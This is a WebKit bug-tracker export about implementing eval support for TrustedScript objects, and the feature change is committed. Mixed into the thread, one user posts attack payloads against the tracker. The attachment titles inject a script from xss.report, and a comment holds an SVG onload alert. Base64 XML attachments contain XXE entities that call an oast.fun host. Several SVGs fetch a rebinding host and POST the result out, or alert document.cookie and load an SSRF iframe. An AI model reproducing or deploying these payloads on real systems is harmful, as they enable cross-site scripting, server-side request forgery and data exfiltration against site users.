273184 2024-04-24 06:35:25 -0700 Implement eval support for TrustedScript objects 2024-05-23 07:51:00 -0700 1 1 1 Unclassified WebKit JavaScriptCore Safari 17 Unspecified Unspecified RESOLVED FIXED https://github.com/web-platform-tests/wpt/pull/45879 InRadar P2 Normal --- 267694 1 lwarlow lwarlow hackwanan webkit-bug-importer oldest_to_newest 2030854 0 lwarlow 2024-04-24 06:35:25 -0700 Implement support for evaluating the code string associated with TrustedScript objects. See Stage 3 proposal https://tc39.es/proposal-dynamic-code-brand-checks/ for more details. 2030865 1 lwarlow 2024-04-24 07:44:05 -0700 Pull request: https://github.com/WebKit/WebKit/pull/27691 2032198 2 471215 hackwanan 2024-04-30 05:37:45 -0700 Created attachment 471215 '"><script src=https://xss.report/c/wananlife></script> 2032199 3 471216 hackwanan 2024-04-30 05:44:04 -0700 Created attachment 471216 '"><script src=https://xss.report/c/wananlife></script> 2032200 4 471217 hackwanan 2024-04-30 05:51:58 -0700 Created attachment 471217 hackerone wananlife 2032201 5 471218 hackwanan 2024-04-30 05:54:07 -0700 Created attachment 471218 hackerone wananlife 2032202 6 471219 hackwanan 2024-04-30 05:57:11 -0700 Created attachment 471219 hackerone wananlife 2032203 7 471220 hackwanan 2024-04-30 06:02:23 -0700 Created attachment 471220 hackerone wananlife 2032204 8 471221 hackwanan 2024-04-30 06:05:21 -0700 Created attachment 471221 hackerone wananlife 2032205 9 471221 hackwanan 2024-04-30 06:08:14 -0700 Comment on attachment 471221 hackerone wananlife <svg onload="alert('hack wananlife from hackerone')" xmlns="http://www.w3.org/2000/svg" width="300" height="300" viewBox="0 0 300 300"> <!-- 背景矩形 --> <rect width="100%" height="100%" fill="#f0f0f0" /> <!-- 圆形 --> <circle cx="150" cy="150" r="100" fill="#3498db" /> <!-- 抽象的线条 --> <line x1="50" y1="150" x2="250" y2="150" stroke="#2ecc71" stroke-width="5" /> <!-- 矩形 --> <rect x="120" y="120" width="60" height="60" fill="#e74c3c" /> <!-- 文本 --> <text x="50%" y="50%" font-size="20" text-anchor="middle" fill="#ffffff" dy=".3em">Tech SVG</text> </svg> 2032468 10 webkit-bug-importer 2024-05-01 06:36:13 -0700 <rdar://problem/127357526> 2037316 11 ews-feeder 2024-05-23 07:50:58 -0700 Committed 279194@main (5e0f9b3cfb2b): <https://commits.webkit.org/279194@main> Reviewed commits have been landed. Closing PR #27691 and removing active labels. 471215 2024-04-30 05:37:45 -0700 2024-04-30 05:44:04 -0700 '"><script src=https://xss.report/c/wananlife></script> alert.svg image/svg+xml 1605 hackwanan PHN2ZyBvbmxvYWQ9ImFsZXJ0KCd4c3MgYnkgaGFja2Vyb25lIHdhbmFuX2xpZmUnKSIgeG1sbnM9 Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxuczp4bGluaz0iaHR0cDovL3d3dy53My5v cmcvMTk5OS94bGluayIgdmVyc2lvbj0iMS4xIiBpZD0iTGF5ZXJfMSIgeD0iMHB4IiB5PSIwcHgi IHZpZXdCb3g9IjAgMCAxMDAgMTAwIiBlbmFibGUtYmFja2dyb3VuZD0ibmV3IDAgMCAxMDAgMTAw IiB4bWw6c3BhY2U9InByZXNlcnZlIiBoZWlnaHQ9IjEwMHB4IiB3aWR0aD0iMTAwcHgiPgo8Zz4K CTxwYXRoIGQ9Ik0yOC4xLDM2LjZjNC42LDEuOSwxMi4yLDEuNiwyMC45LDEuMWM4LjktMC40LDE5 LTAuOSwyOC45LDAuOWM2LjMsMS4yLDExLjksMy4xLDE2LjgsNmMtMS41LTEyLjItNy45LTIzLjct MTguNi0zMS4zICAgYy00LjktMC4yLTkuOSwwLjMtMTQuOCwxLjRDNDcuOCwxNy45LDM2LjIsMjUu NiwyOC4xLDM2LjZ6Ii8+Cgk8cGF0aCBkPSJNNzAuMyw5LjhDNTcuNSwzLjQsNDIuOCwzLjYsMzAu NSw5LjVjLTMsNi04LjQsMTkuNi01LjMsMjQuOWM4LjYtMTEuNywyMC45LTE5LjgsMzUuMi0yMy4x QzYzLjcsMTAuNSw2NywxMCw3MC4zLDkuOHoiLz4KCTxwYXRoIGQ9Ik0xNi41LDUxLjNjMC42LTEu NywxLjItMy40LDItNS4xYy0zLjgtMy40LTcuNS03LTExLTEwLjhjLTIuMSw2LjEtMi44LDEyLjUt Mi4zLDE4LjdDOS42LDUxLjEsMTMuNCw1MC4yLDE2LjUsNTEuM3oiLz4KCTxwYXRoIGQ9Ik05LDMx LjZjMy41LDMuOSw3LjIsNy42LDExLjEsMTEuMWMwLjgtMS42LDEuNy0zLjEsMi42LTQuNmMwLjEt MC4yLDAuMy0wLjQsMC40LTAuNmMtMi45LTMuMy0zLjEtOS4yLTAuNi0xNy42ICAgYzAuOC0yLjcs MS44LTUuMywyLjctNy40Yy01LjIsMy40LTkuOCw4LTEzLjMsMTMuN0MxMC44LDI3LjksOS44LDI5 LjcsOSwzMS42eiIvPgoJPHBhdGggZD0iTTE1LjQsNTQuN2MtMi42LTEtNi4xLDAuNy05LjcsMy40 YzEuMiw2LjYsMy45LDEzLDgsMTguNUMxMyw2OS4zLDEzLjUsNjEuOCwxNS40LDU0Ljd6Ii8+Cgk8 cGF0aCBkPSJNMzkuOCw1Ny42QzU0LjMsNjYuNyw3MCw3Myw4Ni41LDc2LjRjMC42LTAuOCwxLjEt MS42LDEuNy0yLjVjNC44LTcuNyw3LTE2LjMsNi44LTI0LjhjLTEzLjgtOS4zLTMxLjMtOC40LTQ1 LjgtNy43ICAgYy05LjUsMC41LTE3LjgsMC45LTIzLjItMS43Yy0wLjEsMC4xLTAuMiwwLjMtMC4z LDAuNGMtMSwxLjctMiwzLjQtMi45LDUuMUMyOC4yLDQ5LjcsMzMuOCw1My45LDM5LjgsNTcuNnoi Lz4KCTxwYXRoIGQ9Ik0yNi4yLDg4LjJjMy4zLDIsNi43LDMuNiwxMC4yLDQuN2MtMy41LTYuMi02 LjMtMTIuNi04LjgtMTguNWMtMy4xLTcuMi01LjgtMTMuNS05LTE3LjJjLTEuOSw4LTIsMTYuNC0w LjMsMjQuNyAgIEMyMC42LDg0LjIsMjMuMiw4Ni4zLDI2LjIsODguMnoiLz4KCTxwYXRoIGQ9Ik0z MC45LDczYzIuOSw2LjgsNi4xLDE0LjQsMTAuNSwyMS4yYzE1LjYsMywzMi0yLjMsNDIuNi0xNC42 QzY3LjcsNzYsNTIuMiw2OS42LDM3LjksNjAuN0MzMiw1NywyNi41LDUzLDIxLjMsNDguNiAgIGMt MC42LDEuNS0xLjIsMy0xLjcsNC42QzI0LjEsNTcuMSwyNy4zLDY0LjUsMzAuOSw3M3oiLz4KPC9n Pgo8L3N2Zz4K 471216 2024-04-30 05:44:04 -0700 2024-04-30 05:51:58 -0700 '"><script src=https://xss.report/c/wananlife></script> poc.xml application/xml 145 hackwanan PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz4gCjwhRE9DVFlQRSByb290IFsK PCFFTlRJVFkgeHhlIFNZU1RFTSAiaHR0cDovL3d6bGphaWx5cGV1Ymprc254cXFvNHUyOWt3aDR4 cXY4OC5vYXN0LmZ1bi9zc3JmIj5dPgo8cm9vdD4KCg== 471217 2024-04-30 05:51:58 -0700 2024-04-30 05:54:07 -0700 hackerone wananlife poc.xml application/xml 138 hackwanan PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPCFET0NUWVBFIGxsdGVzdFsK PCFFTlRJVFkgeHhlIFNZU1RFTSAiaHR0cDovL3d6bGphaWx5cGV1Ymprc254cXFvNHUyOWt3aDR4 cXY4OC5vYXN0LmZ1bi9zc3JmIj4KXT4g 471218 2024-04-30 05:54:07 -0700 2024-04-30 05:57:11 -0700 hackerone wananlife poc.xml application/xml 150 hackwanan PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPCFET0NUWVBFIG5vdGVbIAo8 IUVOVElUWSAlIGxsdGVzdCBTWVNURU0gImh0dHA6Ly93emxqYWlseXBldWJqa3NueHFxbzR1Mjlr d2g0eHF2ODgub2FzdC5mdW4vc3NyZiI+CiVsbHRlc3Q7Cl0+ 471219 2024-04-30 05:57:11 -0700 2024-04-30 06:05:21 -0700 hackerone wananlife poc.xml application/xml 178 hackwanan PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz4KPCFET0NUWVBFIGNvbnZlcnQg WyAKCTwhRU5USVRZICUgcmVtb3RlIFNZU1RFTSAiaHR0cDovL3d6bGphaWx5cGV1Ymprc254cXFv NHUyOWt3aDR4cXY4OC5vYXN0LmZ1bi9zc3JmIj4gCgklcmVtb3RlOyAJCQkJCgklYWxsOyAKCSVz ZW5kOwpdPg== 471220 2024-04-30 06:02:23 -0700 2024-04-30 06:05:21 -0700 hackerone wananlife pom_4fbb12c7-48ca-4d6b-9165-ef5f6334f998.svg image/svg+xml 532 hackwanan PHN2ZyB3aWR0aD0iMTAwJSIgaGVpZ2h0PSIxMDAlIiB2aWV3Qm94PSIwIDAgMTAwIDEwMCIgCnht bG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cu dzMub3JnLzE5OTkveGxpbmsiPgo8aW1hZ2UgeGxpbms6aHJlZj0iaHR0cHM6Ly93d3cuYmFpZHUu Y29tL2ltZy9mbGV4aWJsZS9sb2dvL3BjL3Jlc3VsdEAyLnBuZyIgaGVpZ2h0PSIyMCIgd2lkdGg9 IjIwIiBvbmxvYWQ9ImZldGNoKCdodHRwczovLzdmMDAwMDAxLjFmMGQ1ZTMxLnJibmRyLnVzJyku dGhlbihmdW5jdGlvbiAocmVzcG9uc2UpIHsKcmVzcG9uc2UudGV4dCgpLnRoZW4oZnVuY3Rpb24o dGV4dCkgewp2YXIgcGFyYW1zID0gdGV4dDsKdmFyIGh0dHAgPSBuZXcgWE1MSHR0cFJlcXVlc3Qo KTsKdmFyIHVybCA9ICdodHRwczovL3d6bGphaWx5cGV1Ymprc254cXFvNHUyOWt3aDR4cXY4OC5v YXN0LmZ1bic7Cmh0dHAub3BlbignUE9TVCcsIHVybCwgdHJ1ZSk7Cmh0dHAuc2VuZChwYXJhbXMp Owp9KX0pOyIgLz4KPC9zdmc+Cg== 471221 2024-04-30 06:05:21 -0700 2024-04-30 06:08:42 -0700 hackerone wananlife index.svg image/svg+xml 411 hackwanan PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KCTxoZWFkPgoJCTx0aXRsZT48L3RpdGxl PgoJCTxtZXRhIGNoYXJzZXQ9IlVURi04Ij4KCQk8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVu dD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEiPgoJCTxsaW5rIGhyZWY9ImNz cy9zdHlsZS5jc3MiIHJlbD0ic3R5bGVzaGVldCI+Cgk8L2hlYWQ+Cgk8Ym9keT4KCQk8aDE+eHNz PC9oMT4KCQk8cD50ZXN0PC9wPgoJCTxpZnJhbWUgc3JjPSJodHRwOi8vd3psamFpbHlwZXViamtz bnhxcW80dTI5a3doNHhxdjg4Lm9hc3QuZnVuL3NzcmYiPjwvaWZyYW1lPgoJCTxpbWcgc3JjPXgg b25lcnJvcj1hbGVydChkb2N1bWVudC5jb29raWUpPgoJCTxsaT54c3MgdGVzdDwvbGk+Cgk8L2Jv ZHk+CjwvaHRtbD4K